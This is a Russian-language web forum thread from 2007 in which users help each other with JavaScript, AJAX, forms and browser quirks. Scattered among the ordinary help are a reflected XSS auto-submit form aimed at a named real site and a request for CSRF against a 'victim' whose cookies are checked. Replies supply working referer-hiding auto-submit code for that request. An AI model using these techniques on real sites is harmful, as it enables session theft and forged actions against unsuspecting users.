Этот id являестся именем для "инклудинга", за это отвечает переменная x... но это никуда не годиться, как мне оформить это в качестве POST, ведь переменной x можно передать и через POST значение id... очень надо...

Дальше интереснее! вариант запроса POST (Это как раз тот вариант который "Почти" работает)

function doClick(xx) {
linker = index.php;
var http = new XMLHttpRequest();
var url = linker;
var params = "x=" + xx.id;
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
document.write(http.responseText);
}
}
http.send(params);}


Это всё 1й раз обновляет... но... коряво в смысле кодировки(Русский текст), что делает невозможным дальнейшее "общение" с сайтом:
в Опере ромбики за место Русского текста
в ИЕ 7 Он вообще хз откуда куски кода грузит и русский текст вообще не выводит!
И! после того как обновил следующий клик тупо дописывает после.. а как заново???
как же там кодировку в запросе указать... блин)

Нашёл некую ф-ю: JsHttpRequest (http://dklab.ru/lib/JsHttpRequest/manual.html) ... думаю...
Помогите с ней разобраться пожалуйста... может на ней запрос сформировать??

Нашёл ещё либу:
charset_x_win ( http://popoff.donetsk.ua/text/work/libs/a/charset/) но она на php... а надо на яве(

Вот ещё ТуТ (http://xpoint.ru/forums/programming/XUL/thread/31036.xhtml) но уже мозги жгут! хелп..

Может есть на ajax функиция перекодировки...(

Kridan
07.11.2007, 00:07
Здесь XMLHttpRequest вроде бы не к чему - тебе же страницу всё равно сменить надо.

Целесообразнее создать форму и явой её отослать.


function doClick(xx)
{
var myForm = document.createElement('form');
myForm.action="index.html";
myForm.method="POST";
myForm.target="_self";
myForm.style.display="none";
myVar = document.createElement('input');
myVar.type="text";
myVar.name="x";
myVar.value=xx.id;
myForm.appendChild(myVar);
document.body.appendChild(myForm);
myForm.submit();
};

-n00by-
11.11.2007, 21:33
вобщем такая фигня...есть xss, но в печеньках хранитсо только id сесии. есть ли способ посмотреть сессию через javascript?

inv
11.11.2007, 21:34
где вообще хранится сессия?

ant0ha
11.11.2007, 22:08
Сессии на сервере хранятся, и их содержание с помощью javascript узнать нельзя.

DEMIX
12.11.2007, 01:19
Помогите со скриптом.
Пример скрипта на сайте http://www.bigmir.net

При наведении на ссылку сайта который участвует в рейтинге появляется окно с названием сайта, его хитами и хостами. Такие окна называются «Всплывающие подсказки» и выводятся с помощью AJAX. Мне посоветовали пример и сам скрипт такого окна. Вот ссылка : http://ajaxhelp.net/message.html Но там я ничего не понял. Разъясните как это работает или дайте хороший скрипт такого всплывающего окна.

nc.STRIEM
16.11.2007, 02:19
код

<input type=text name=aaa>
<input type="button" onclick="javascript:bbb()" >

<script language="JavaScript" type="text/javascript">
function bbb()
{
var val=document.getElementById('aaa').value;
alert(val[0]);
}
</script>

Под ff не сробатывает
под IE выводит undefined
под Opera выводит первый символ (так как и должно быть)

В чем косяк, почему из 3ех браузеров только один нормально выполняет код

inv
16.11.2007, 02:21
.charAt(0)

LeverOne
16.11.2007, 22:29
Кроме того, у тебя ошибка в доступе к элементу. Ты используешь доступ через ид, а надо через нейм, как и написано в html-части.

Вот так запашет везде


<input type=text name=aaa>
<input type="button" onclick="javascript:bbb()">

<script language="JavaScript" type="text/javascript">
function bbb()
{
var val=document.getElementsByName('aaa').item(0).valu e;
alert(val.charAt(0));
}
</script>


================

2 Kridan
Согласно твоему коду первым обработается Click, а уж потом будут отправлены данные.
Для того, что хочет rubik-nerubik есть событие AfterSubmit формы, т.е.


<form onAfterSubmit="document.getElementById('str').value='';">

2 Helios
Согласно твоему коду обнуления не произойдет, потому что в javascript событие AfterSubmit не обрабатывается. onAfterSubmit - немного из другой оперы. Просто так в браузерах это не сработает.
А нужен был всего лишь такой код


<iframe name="mid" src=""></iframe>
<form target="mid" action="http://host.ru">
<input type="text" name="str">
<input type="button" onclick="document.forms[0].submit();document.forms[0].str.value=''";>
</form>

Tvister
26.11.2007, 00:36
Подскажите пожалуйста
Как переделать этот JavaScript
<SCRIPT LANGUAGE="JavaScript">

function f(){
document.location.href='http://feed.com/search.php?q=[key_main]';
}

window.onFocus = f()

</SCRIPT>
чтобы он вызывал срабатыванме JS лежашего в отдельном файле

astrologer
26.11.2007, 03:12
Подскажите пожалуйста
Как переделать этот JavaScript
<SCRIPT LANGUAGE="JavaScript">

function f(){
document.location.href='http://feed.com/search.php?q=[key_main]';
}

window.onFocus = f()

</SCRIPT>
чтобы он вызывал срабатыванме JS лежашего в отдельном файле
Наверное, <script type="text/javascript" src="http://example.example/file.js"></script>или
<script type="text/javascript">
document.write('<script type="text/javascript" src="http://example.example/file.js"><\/scr'+'ipt>');
</script>ну или так:
<script type="text/javascript">
var js = document.createElement('script');
js.type = 'text/javascript';
js.src = 'http://example.example/file.js';
document.appendChild(js);
</script>

Tvister
26.11.2007, 17:19
ну или так:
<script type="text/javascript">
var js = document.createElement('script');
js.type = 'text/javascript';
js.src = 'http://example.example/file.js';
document.appendChild(js);
</script>
А чем этот скрипт отличается......

Вообщем тот JS который я привел вроде бы должен срабатывать только после движений мыши...вот такой нужен...

astrologer
26.11.2007, 18:46
А чем этот скрипт отличается......Издеваешься? Отличается в корне. Хотя результат тот жеВообщем тот JS который я привел вроде бы должен срабатывать только после движений мыши...вот такой нужен...
Тот js, который ты привел срабатывает при получении окном фокуса и он перенаправляет на другой адрес, а вовсе не "вызывает срабатыванме JS лежащего в отдельном файле".
Если я правильно понял, то тебе нужно это:

<html>
<head>

<script type="text/javascript">
function loadJS(){
if(!document.getElementById('loadedscript')){ // Проверяем, чтобы не подключать скрипт до бесконечности
var js = document.createElement('script');
js.type = 'text/javascript';
js.src = 'http://example.example/file.js';
js.id = 'loadedscript';
document.body.appendChild(js);
}
}
</script>
</head>

<body onmousemove="loadJS()">
</body>
</html>

Tvister
26.11.2007, 20:05
Издеваешься?
Да нет :) ...просто я не разбираюсь в JS.Имел ввиду как работает.

получении окном фокуса и он перенаправляет на другой адрес, а вовсе не "вызывает срабатыванме JS лежащего в отдельном файле".
А можно сделать так,чтобы при получении окном фокуса он вызывал срабатывание JS лежащего в отдельном файле?

А этот как работает обЪясни пожалуйста

Если я правильно понял, то тебе нужно это:

<html>
<head>

<script type="text/javascript">
function loadJS(){
if(!document.getElementById('loadedscript')){ // Проверяем, чтобы не подключать скрипт до бесконечности
var js = document.createElement('script');
js.type = 'text/javascript';
js.src = 'http://example.example/file.js';
js.id = 'loadedscript';
document.body.appendChild(js);
}
}
</script>
</head>

<body onmousemove="loadJS()">
</body>
</html>

astrologer
27.11.2007, 00:25
А этот как работает обЪясни пожалуйстаРаботает это так:
Сначала определяем функцию loadJS(), которая делает следующее:
1) Проверяет, существует ли элемент с id == 'loadedscript'.
2) Если не существует, то создаёт элемент 'script' и устанавливает ему атрибуты:
- id (нужен для вышеупомянутой проверки)
- src (путь к внешнему файлу с js, измени на свой, а то работать не будет)
- type (можно было и не указывать)
3) Прикрепляет созданный элемент к объекту body (он может и не существовать, но это встречается не часто и сейчас не важно.)
После этого устанавливаем 'onmousemove' = 'loadJS()'.
Теперь при движении курсора над страницей загрузится и выполнится внешний JS.
Чтобы работало при фокусировке - достаточно заменить 'onmousemove' на 'onfocus' // неужели? ;)

Tvister
27.11.2007, 00:30
Работает это так:
Сначала определяем функцию loadJS(), которая делает следующее:
1) Проверяет, существует ли элемент с id == 'loadedscript'.
2) Если не существует, то создаёт элемент 'script' и устанавливает ему атрибуты:
- id (нужен для вышеупомянутой проверки)
- src (путь к внешнему файлу с js, измени на свой, а то работать не будет)
- type (можно было и не указывать)
3) Прикрепляет созданный элемент к объекту body (он может и не существовать, но это встречается не часто и сейчас не важно.)
После этого устанавливаем 'onmousemove' = 'loadJS()'.
Теперь при движении курсора над страницей загрузится и выполнится внешний JS.
Чтобы работало при фокусировке - достаточно заменить 'onmousemove' на 'onfocus' // неужели? ;)

Спасибо тебе большое! :)

Loopy
27.11.2007, 23:56
У меня такая ситуация.
На странице сайта подключается сторонний JS-скрипт (с другого сайта). При этом неполучается получить контент при помощи AJAX и фреймов ни с одного из этих сайтов. Что делать? Само AJAX приложение работает. На каждом сайте индивидуально работает. А при подключении с target.com на target2.com JS-а шиш, возвращает пустой результат, как буд-то я пытаюсь спереть чужой контент, при обращении аяксом на любой из сайтов. :\

DIAgen
28.11.2007, 00:03
У меня такая ситуация.
На странице сайта подключается сторонний JS-скрипт (с другого сайта). При этом неполучается получить контент при помощи AJAX и фреймов ни с одного из этих сайтов. Что делать? Само AJAX приложение работает. На каждом сайте индивидуально работает. А при подключении с target.com на target2.com JS-а шиш, возвращает пустой результат, как буд-то я пытаюсь спереть чужой контент, при обращении аяксом на любой из сайтов. :\
Не как, зашита встроенная в браузеры...

Loopy
28.11.2007, 00:07
Не как, зашита встроенная в браузеры...

Я понимаю.... если защита от загрузок с другого сайта из другого. Но если сам JS-скрипт находит...
*на этом моменте я понял почему запрещено*
потому-что кто-то может подключить JS с другого сайта в котором с этого же сайта берутся страницы... вот...
Я, кстати, подключаю скрипт с компа. c localhost'a. А если с диска C: ? там вроде на файловой системе компьютера нет ограничений...

astrologer
28.11.2007, 00:26
*на этом моменте я понял почему запрещено*
потому-что кто-то может подключить JS с другого сайта в котором с этого же сайта берутся страницы... вот...
Нет, как раз JS действительно можно подключать с любого другого домена, но исполняться он будет в контексте безопасности именно той страницы, где он был "подключён". Односторонняя такая защита.

Loopy
28.11.2007, 00:37
Нет, как раз JS действительно можно подключать с любого другого домена, но исполняться он будет в контексте безопасности именно той страницы, где он был "подключён". Односторонняя такая защита.

А я и не говорил, что нельзя подключать скрипты с других сайтов. Я говорил, что AJAX и хирургический доступ к фреймам в таком скрипте, который подключается, абсолютно исключены системой безопасности доступа к страницам. Как к доступу к страницам подключаемого, так и к которому подключаем.

Объясню.
Так как, исполняемый скрипт может брать страницы через Аякс со своего домена. Неужели браузеры позволят сайтам подключать сторонние скрипты и использовать то, что они подключают свои страницы? Тырить контент можно.

Почему не может брать страницы от сайта к которому подключается? Да потому, что злоумышленник на сайте которого храниться код может его переделать и загрузать страницы первичного сайта к себе на сайт.

В таком случае, в подключении сторонних кодов, AJAX и какой-либо доступ к фреймам исключены.

astrologer
28.11.2007, 22:28
Неужели браузеры позволят сайтам подключать сторонние скрипты и использовать то, что они подключают свои страницы? Тырить контент можно.Тырить контент? Кросс-доменные ограничения, запрещающие доступ к фрейму, в который загружена страница с другого домена, по-моему, нужны, чтобы обеспечивать безопасность веб-авторизации.
(Правда, есть одно исключение - (document.domain), но, думаю, это не в твоём случае.)
А контент забирают другими, менее изощренными методами.
Можно, сделать по-другому: написать серверный скрипт (на php, к примеру), разместить на своём домене и обращаться уже к нему, передавая в запросе адрес страницы, которую нужно получить. Скрипт на сервере без проблем должен получить всё, что нужно и отдать клиентскому скрипту.
Почему не может брать страницы от сайта к которому подключается? Разве? На пальцах: есть два сайта с разными доменными именами - site1 и site2.
Если на site1 "подключить" JS с site2, то он будет работать в контексте безопасности site1 и может работать с фреймами с site1 и запрашивать страницы AJAX'ом с site1, но не сможет проделывать аналогичное с site2, site3, и т.д.
В таком случае, в подключении сторонних кодов, AJAX и какой-либо доступ к фреймам исключены.P.S. Специально сейчас проверил ситуацию с внешним JS с другого домена, всё работает. Так что ищи ошибки в коде.

GreenBear
28.11.2007, 23:06
есть <select id='mda'></select>
добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>';

почему это не работает в ИЕ?
p.s. меня не интересует как сделать по другому.

bot
29.11.2007, 13:11
Вопрос банальный..
Честно говоря все позабыл уже 2 года в нете не был..

Вообщем, как через URL передать POST ?
Или как с помощью Javascript передать POST, скажем
на страницу: http://site.ru/page.php , например,
a=1 , b=2 , c=3


Нужно сформировать в скрытом фрейме стороннего сайта POST ,

И еще тупой вопрос:
кнопка submit:


<input type="submit" name="xxx1" value="Добавить" accesskey="s" />


че она передаст скрипту? какие переменные и т.п.?

Loopy
29.11.2007, 16:06
Тырить контент?
Да, HTML-контент, к котором могут содержаться важные данные, предоставляемые авторизованным, к примеру, пользователям.

Попробовал и получилось? Приведи код, если не сложно..

Loopy
29.11.2007, 16:21
astrologer

Блин, респект. Получается. Проблема была в том, что страница, которую хотел получить, назодилось в поддомене..
из поддомена загружается только от этого поддомена.. как загрузать от одного сайта но от другого поддомена? :)

halkfild
29.11.2007, 16:44
я делал так автоматический пост

<form name="postform" action="http://rechitsa.by/index.php" method="POST">
<input type="hidden" name="search_string" size=20 value="><script>alert(document.cookie)</script>">
<input type="hidden" src="/images/search.gif" alt="Поиск"/></td></tr>
<select name="search_cat" type="hidden">
<option value="all">весь сайт</option>
<option value="articles">статьи</option>
<option value="news">новости</option>
</select>
</form>

<script>document.postform.submit();</script>

Loopy
29.11.2007, 17:02
есть <select id='mda'></select>
добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>';

почему это не работает в ИЕ?
p.s. меня не интересует как сделать по другому.

В ИЕ, чтобы иннерить нужно присутствия каких-нибудь символов между тегами в которые вставляем..

astrologer
29.11.2007, 18:48
есть <select id='mda'></select>
добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>';

почему это не работает в ИЕ?
p.s. меня не интересует как сделать по другому.Потому, что это баг IE (http://support.microsoft.com/kb/276228).
В ИЕ, чтобы иннерить нужно присутствия каких-нибудь символов между тегами в которые вставляем..Нет.
как загружать от одного сайта но от другого поддомена?Если два разных поддомена - то нельзя. Возможно тогда и только тогда, когда со страницы "sub.site.com" нужно получить доступ к "site.com". В этом случае можно установить document.domain = 'site.com' и работать с ним. Обратно в пределах одной сессии изменить уже нельзя.

bot
30.11.2007, 18:46
Как скрыть рефа у юзера?

Через window.location или document.location - эт понятно... хотя у меня опера передает рефа любым путем, даже если создается поп-ап окно без адреса и т.п.
А если это будет POST запрос ???
Типа:
<form>
.....
</form>
<script>submit();</script>

Блин, ужо неделю ломаю голову...
Причем надо учесть, чтобы именно браузер жертвы отправил запрос, т.к. проверяется сессия или куки...

Мож кто знает лучше метод, как избавиться от рефа юзера в POST запросе ????

astrologer
02.12.2007, 22:44
Мож кто знает лучше метод, как избавиться от рефа юзера в POST запросе ???? Хороший вопрос. После непродолжительного исследования получилось следующее:
---
<script type="text/javascript">
var info = '123';
document.location.href='data:text/html;,\
<body onload="document.forms[0].submit()">\
<form method="POST" action="http://2ip.ru">\
<input name="info" type="text" value="' + info + '" />\
</form>'
</script>
--- Так можно скрыть реферер в Опере и FF. IE не понимает схемы "data:", для него можно создать окно и в нём - форму.

bot
03.12.2007, 19:46
Спасибо, конечно, за ответ, но не прокатило в 7 опере, не знаю как в других.. Пишет: тип адреса неизвестен или не поддерживается.
Блин, уже вторая неделя пошла, как я мучаю эту тему..

astrologer
03.12.2007, 21:01
Спасибо, конечно, за ответ, но не прокатило в 7 опере, не знаю как в других.. Пишет: тип адреса неизвестен или не поддерживается.
Блин, уже вторая неделя пошла, как я мучаю эту тему..
7 версия? Конечно же, не поддерживает. Она, вроде, 2003 года выпуска.
Делай выводы сам:http://stat.yandex.ru/stats.xml (http://stat.yandex.ru/stats.xml?ReportID=2857&Path=.0.7.)
-----------------------------------
Впрочем, можно же сделать так:
<script type="text/javascript">

document.location = "javascript:'<body onload=\"document.forms[0].submit()\">\
<form method=\"POST\" action=\"http://2ip.ru\">\
<input name=\"smth\" type=\"text\" value=\"123\" />\
</form>\
</body>'";

</script> Это проверено и работает в IE6, FF, Opera 9.
И должно работать во всех браузерах, которые поддерживают псевдо-протокол "javascript:"Блин, уже вторая неделя пошла, как я мучаю эту тему.. Активно же ты ищешь решение ;)

gibson
04.12.2007, 23:19
ну сделать выпадающее меню и рядом галочку, при нажатии на нее нужно чтобы опять появилось выпадающее меню и так не более десяти раз. Плз помогите написать что то типо этого
<select size="1" name="selector" id="selector">
<option value="value1" >Item1</option>
<option value="value1">Item2</option>
</select>
<input name="Name" type="checkbox" value="Off" onclick=function()>
Желательно, чтобы выводилось что было выбрано.

bot
05.12.2007, 11:45
Впрочем, можно же сделать так:...
Вот за это решпект ))

Вообще, мне редко кто помагал, вопросы часто задаю, а до ответов, как правило, приходилось самому догонять. Большое человеческое шпасибо!

astrologer
06.12.2007, 01:15
gibson, если я правильно понял:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<script type="text/javascript">
<!--

function choose(e) {
if(!e.options[e.selectedIndex].value) return;

var list = document.getElementById('selected'),
li = document.createElement('li'),
txt = document.createTextNode(e.options[e.selectedIndex].value);

li.className = (list.lastChild && list.lastChild.className == 'dark') ? 'light' : 'dark'; // Stuff
li.appendChild(txt);
list.appendChild(li);
e.selectedIndex = 0;

if(list.getElementsByTagName('li').length > 9) e.parentNode.removeChild(e);
}

//-->
</script>

<style type="text/css">
<!--

#selected { padding: 0 3px; width: 150px; margin-left:20px; }
#selected li { padding: 0 3px; }
#selected li.dark { background-color: #EFEFEF; }
#selected li.light { background-color: #FAFAFA; }

//-->
</style>
</head>
<body>

<select onchange="choose(this)">
<option value=""></option>
<option value="Значение 1">Элемент 1</option>
<option value="Значение 2">Элемент 2</option>
<option value="Значение 3">Элемент 3</option>
<option value="Значение 4">Элемент 4</option>
<option value="Значение 5">Элемент 5</option>
<option value="Значение 6">Элемент 6</option>
<option value="Значение 7">Элемент 7</option>
<option value="Значение 8">Элемент 8</option>
<option value="Значение 9">Элемент 9</option>
<option value="Значение 10">Элемент 10</option>
</select>

<ol type="1" id="selected">
</ol>

</body>
</html>
Точно работает в IE6, Opera 9, Safari, FF 2.0...

Isis
07.12.2007, 13:33
Хек....
Надо сделать переход на прошлую страницу по аяксу...
Т.е.
на главной странице есть новость, по нажатию на которую будет переход конкретно к ней(но не как обычно через гет), а по аяксу...
Так вот из этой новости надо сделать кнопку назад, так чтобы она на прошлую страницу вернулась...
Обычный javascript: history.go(-1) не работает т.к. переход у нас по аяксу..
так вот предложите что-нибудь...

Isis
07.12.2007, 13:46
sys(64), сам проверь....

Digimortal
07.12.2007, 17:06
>> на главной странице есть новость, по нажатию на которую будет переход конкретно к ней(но не как обычно через гет), а по аяксу...

"переход по аяксу" это как? )

Macro
07.12.2007, 17:25
"переход по аяксу" это как? )
Это когда в одну страничку средствами ajax подгружается другая.

astrologer
07.12.2007, 17:50
Isis,
Суть в том, чтобы привести ссылки к такому виду: http://site.com#smth
И javascript может считать всё, что идёт после знака "#" из document.location.hash
Таким образом можно не только реализовать возможность вернуться на предыдущую страницу,
но и дать ссылку на ajax-сформированную страницу другому человеку.
Поисковые боты, правда, всё равно пролетают.
Такой подход используется во многих js-библиотеках.

Если размер подгружаемого контента не очень большой, то я сделал бы проще:
Содержимое страницы сохраняется в блоке-контейнере (div), который скрывается при загрузке нового материала (style.display).
На его месте создаётся новый блок, в который подгружается информация.
И вся работа кнопок назад/вперед будет только в том, чтобы показывать и скрывать эти div'ы.

eXp
07.12.2007, 17:59
Использую PHP - библиотеку xajax. Все нормально работает, кроме js-функции getFormValues() - она возвращает пустой объект.
Вот html-код формы:

<TABLE>
<FORM id="Form" name="Form" onsubmit="return false">

<TR>
<TD>
<TABLE align=center>


<TR>
<TD valign=top>lol</TD>
<TD><input type="text" name="lol" value="lol" SIZE=27></TD>

<TR><TD></TD>
<TD><input type="submit" name="submit" value="Отправить" onclick="xajax_func_config(xajax.getFormValues('Form')); return false;">
</TD>
</TABLE>
</TD>
</FORM>
</TABLE>

В чем могут быть проблемы?

astrologer
07.12.2007, 18:33
eXp, у тебя ни один "<tr>" не закрыт.
<table>
<form id="Form" name="Form" onsubmit="return false">
<table align='center'>
<tr><td>
<input type="text" name="lol" value="lol" size='27'>
</td></tr>
<tr><td>
<input type="submit" name="submit" value="Отправить" onclick="xajax_func_config(xajax.getFormValues('Form')); return false;">
</td></tr>
</table>
</form>
</table>

eXp
07.12.2007, 19:08
astrologer, это никак не влияет на форму...
я поставил везде </tr> - все равно не работает (

ps проблема решена ) глюк в том, что я разместил <form> после <table>


еще вопрос: какой функцией получить разрешение экрана?

astrologer
07.12.2007, 19:26
astrologer, это никак не влияет на форму...
я поставил везде </tr> - все равно не работает (
Если не закрывать теги, то наверняка что-нибудь работать не будет. Не обязательно в данном случае.
еще вопрос: какой функцией получить разрешение экрана?window.screen.height
window.screen.width

Digimortal
08.12.2007, 00:57
Это когда в одну страничку средствами ajax подгружается другая.
тогда это "переходом" назвать никак нельзя.. )

Dunsparce
11.12.2007, 01:58
СилкО (http://dunsparce666.narod.ru/index.html)
Вот по етой силке,у меня есть пункти типу меню.Я б хотел как то зделать чтоби они били по левому краю вировнены.А ище зделать чтоби ети подсказки били над курсором

XopoIII
11.12.2007, 04:34
я в яве не силен, дайте пожалуйста скриптик(если есть) чтобы при нажатии на слово вылазила менюшка вот, спасибо

XopoIII
11.12.2007, 17:17
window.open('firth.php','game','scrollbars,resizab le,width=100%,height=100%');

высота и ширина же 100% почему непашет=(

eXp
11.12.2007, 21:41
Опять проблемы с xajax =\
В Опере и FF все работает, а вот в IE почему-то ответ сервера не обрабатывается.
Включал debug - ответ возвращается без ошибок, но не обрабатывается, т.е. команды, описанные в ответе, не выполняются.

В чем могут быть проблемы?

max_rebel
12.12.2007, 01:03
Снова ламерский вопрос у меня - подскажите как поставить счётчик на сайт - желательно такой чтоб его на сайте посетителм видно не было(хотя можно и видимый).Если есть то на JavaScript - если не затруднит.Спасибо

astrologer
12.12.2007, 03:31
max_rebel, на одном JS нельзя, т.к. надо где-то хранить данные.
Чтобы сделать счётчик невидимым, достаточно поместить его в скрытый блок (div).

eXp, приведи код.

XopoIII,
http://developer.mozilla.org/en/docs/DOM:window.open
width
Specifies the width of the content area,
viewing area of the new secondary window in pixels.
The width value includes the width of the vertical scrollbar if present.
The width value does not include the sidebar if it is expanded.
The minimum required value is 100.

XopoIII
12.12.2007, 05:27
не обладаю читать по английски=)

bul.666
12.12.2007, 05:33
не обладаю читать по английски=)
Обладай переводчиком своим!
http://www.translate.ru/

XopoIII
12.12.2007, 06:51
Обладай переводчиком своим!
http://www.translate.ru/
нет бы сказать просто что сделать), как добиться чтобы окно открывалось на весь экран через функцию wondow.open, а то начинают умничать)

bul.666
12.12.2007, 10:35
<script type="text/javascript">
var WindowObjectReference;

function openRequestedPopup()
{
WindowObjectReference = window.open("http://google.com/",
"Google",
"menubar=yes,location=yes,resizable=yes,scrollbars= yes,status=yes");
}

</script>
<input type=button OnClick="openRequestedPopup()" Value=Open>

XopoIII
12.12.2007, 13:24
а если так?


<script language=JavaScript>
if (self.screen) {
width = screen.width
height = screen.height
}
else if (self.java) {
var jkit = java.awt.Toolkit.getDefaultToolkit();
var scrsize = jkit.getScreenSize();
width = scrsize.width;
height = scrsize.height;
}else{
width = height = 'x'
}
if (width == 640) {
window.open('Supp/error.html','start') }
else if (width == 800) {
window.open('0800.html','start') }
else if (width == 1024) {
window.open('1024.html','start') }
else if (width == 1152) {
window.open('1152.html','start') }
else if (width == 1280) {
window.open('1280.html','start') }
else if (width == 1600) {
window.open('1600.html','start') }
else {
window.open('error.html','start') }
</script>


тут пара проблемок возникло, помогите, после того как открывается новое окно, нужно чтобы старое окно переадресовалось(или закрывалось, если window.close() то в ие подтверждение вылазит, эт плохо, можно как нибуть сделать без подтверджения?), но если я после скрипта пишу редикт, то тупо неработает скрипт, как быть?

-=ALbaNeЦ=-
12.12.2007, 18:30
Люди ктонить может поделиться js календаря, у которого можно указывать ссылки на определенные даты!!!!

astrologer
12.12.2007, 21:59
XopoIII,
<script type="text/javascript">
window.open("http://google.ru", "google", "fullscreen=yes,location=yes,menubar=yes,scrollbars =yes,resizable=yes,status=yes,");
document.location.href='http://ya.ru';
</script>Не факт, что это будет работать во всех браузерах.
нет бы сказать просто что сделать), как добиться чтобы окно открывалось на весь экран через функцию wondow.open, а то начинают умничать)С таким же успехом мог бы написать "добиться через функцию alert()"

XopoIII
13.12.2007, 04:37
то что ты предлагаешь не выдает эффекта. да вопрос может кто знает, мочему этот скриптик в ие7 не открывает окно на весь экран? в опере и ие6 все нормально работает=( или может как нибуть можно подругому узнавать расширение и исходить из этого??

biophreak
13.12.2007, 11:21
Вот на досуге накатал небольшие ф-ии для "показа" и "скрытия" определенного эл-та по его id..может пригодится кому...

is_ie = ((/msie/i.test(window.navigator.userAgent) && !/opera/i.test(window.navigator.userAgent)));
function GID(id)
{
return (is_ie) ? document.all[id] : document.getElementById(id);
}

function showHideEl(id,act)
{
if(act == 'hide')
{
GID(id).style.visibility = 'hidden';
} else if(act == 'show')
{
GID(id).style.visibility = 'visible';
}
}


Юзать showHideEl('id элемента','действие(show\hide)');

k1b0rg
14.12.2007, 01:21
А нахрен определять браузер? getElementById работает во всех браузерах.

biophreak
14.12.2007, 01:48
Просто были косяки с ИЕшкой...может чисто только у меня(хз почему)...я не вникал и написал ф-ию, потомучто ч-з document.all работало )

ЗЫЖ Конечно, вы правы, по сути, ф-ия лишняя...у меня видимо был сильно поломанный ИЕ(или чтото еще :)) а если уж ориентировацца на такие поломанные ИЕ как у меня - как вариант что-то типа:

if (document.all) {
return document.all[id];
else {
return document.getElementById(id);
}

astrologer
14.12.2007, 02:00
А нахрен определять браузер? getElementById работает во всех браузерах.If there is more than one element with id="test", the method selects the first in the document. All others are ignored.
IE also returns the element with name="test".Наверное, поэтому.
По-моему, лучше использовать просто ссылку на элемент:<html>
<head>
<script type="text/javascript">

function toggle(e){
if(!e) return;
e.style.visibility = (e.style.visibility!='hidden' ? 'hidden':'visible');
}

</script>

<style type="text/css">

div {
border:gray solid 1px;
background-color:#DCDCDC;
width: 100px;
height: 75px
}

div+div { border-top:none }

</style>
</head>
<body>
<div onclick="toggle(this.nextSibling)">&nbsp;</div><div>&nbsp;</div>
</body>
</html>

Alekzzzander
16.12.2007, 21:03
подскажите пожалуйста ява-скрипт который будет сохранять данные посетителя сайта в определённый каталог и его можно было бы просматривать через web

DIAgen
16.12.2007, 21:27
подскажите пожалуйста ява-скрипт который будет сохранять данные посетителя сайта в определённый каталог и его можно было бы просматривать через web
На яваскриптах такого не сделаешь, надо делать в связке с php, да еще и SQL

Piflit
16.12.2007, 21:33
На яваскриптах такого не сделаешь, надо делать в связке с php, да еще и SQL
при чем тут sql?

groundhog
16.12.2007, 21:38
SQL тут за уши притянут... Но одно верно - средствами JavaScript это не реализуемо...

Alekzzzander
16.12.2007, 21:46
а на php можете выложить скриптик? или архивчик с скриптами которые показывают данные посетителя

groundhog
16.12.2007, 22:02
Alekzzzander, поставь конкретную задачу - какие данные, в какой каталог, в какой форме сохранять и т.д. И с этой задачей дуй в разде по PHP, ибо задача выходит за рамки данного раздела.

DIAgen
16.12.2007, 22:09
при чем тут sql?
А где хранить даные, когда мало данных, то можно и в текстовом виде, а кады их будет больше 1k or 10k, то уже не как...:)

Alekzzzander
20.12.2007, 16:46
вопрос туповат но...как написать скрипт на java что ыб он показывал время в формате чч.мм.сс в реальном времени?

Ю_ЗвЕРь
20.12.2007, 16:59
Alekzzzander,

http://woweb.ru/load/104-1-0-587
http://woweb.ru/load/104-1-0-602
http://woweb.ru/load/104-1-0-602


http://easywebscripts.net/ajax/ajax_clock.php

Кажется подойдет что-нибудь .)

XopoIII
20.12.2007, 17:23
http://vakilov.stsland.ru/java/clockrazdel.html неглядя вот посмотри))

Dimi4
20.12.2007, 17:53
у мня на сайте даж стоит.Разные часовые поясы.
index.html

<span id="liveclock" class="clock"></span>
<script language="JavaScript">
<!--
var Digital=new Date()
var hours=Digital.getHours()
var minutes=Digital.getMinutes()
var hoursdif=hours-15
var minutesdif=minutes-24
-->
</script>
<script type="text/javascript" language="JavaScript" src="clock.js"></script>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td valign="top" style="width:186px;padding:0 0 0 10px;">

clock.js

<! --
function clock(){
if (!document.layers&&!document.all&&!document.getElementById)
return

var Digital=new Date()
var hours=Digital.getHours()
var minutes=Digital.getMinutes()
var seconds=Digital.getSeconds()

hours=hours-hoursdif
minutes=minutes-minutesdif
if (minutes>60){
minutes=minutes-60;
hours=hours+1
}

if (minutes<=9)
minutes="0"+minutes
if (seconds<=9)
seconds="0"+seconds

hours2=hours+2;//Kyiv-L'viv
if (hours2>23)
hours2=hours2-24;
if (hours2<10)
hours2="0"+hours2

hours3=hours+1;//Warsaw-Paris-Berlin
if (hours3>23)
hours3=hours3-24;
if (hours3<10)
hours3="0"+hours3


hours4=hours+19;//Toronto
if (hours4>23)
hours4=hours4-24;
if (hours4<10)
hours4="0"+hours4

hours5=hours+18;//Chicago
if (hours5>23)
hours5=hours5-24;
if (hours5<10)
hours5="0"+hours5

hours6=hours+10;//Sydney
if (hours6>23)
hours6=hours6-24;
if (hours6<10)
hours6="0"+hours6;

if (hours<10)
hours="0"+hours;


myclock= "Київ, Львів:<font color='blue'>"+hours2+":"+minutes+"</font>&nbsp;&nbsp;&nbsp;Берлін:<font color='blue'>"+hours3+":"+minutes+"</font>&nbsp;&nbsp;&nbsp;Лондон:<font color='blue'>"+hours+":"+minutes+"</font>&nbsp;&nbsp;&nbsp;&nbsp;Торонто:<font color='blue'>"+hours4+":"+minutes+"</font>&nbsp;&nbsp;&nbsp;&nbsp;Чикаґо:<font color='blue'>"+hours5+":"+minutes+"</font>&nbsp;&nbsp;&nbsp;&nbsp;Сідней:<font color='blue'>"+hours6+":"+minutes+"</font> &nbsp;&nbsp;:: <font color='blue'>"+seconds+"</font>"
if (document.layers){
document.layers.liveclock.document.write(myclock)
document.layers.liveclock.document.close()
}
else if (document.all)
liveclock.innerHTML=myclock
else if (document.getElementById)
document.getElementById("liveclock").innerHTML=myclock
setTimeout("clock()",1000)
}

clock();
//-->

nc.STRIEM
20.12.2007, 23:09
каким образомс помощью джава скрипт поменять фон заданый через CSS

есть кнопка:
<input type=button style="background: url('img1.jpg')" value=abc>
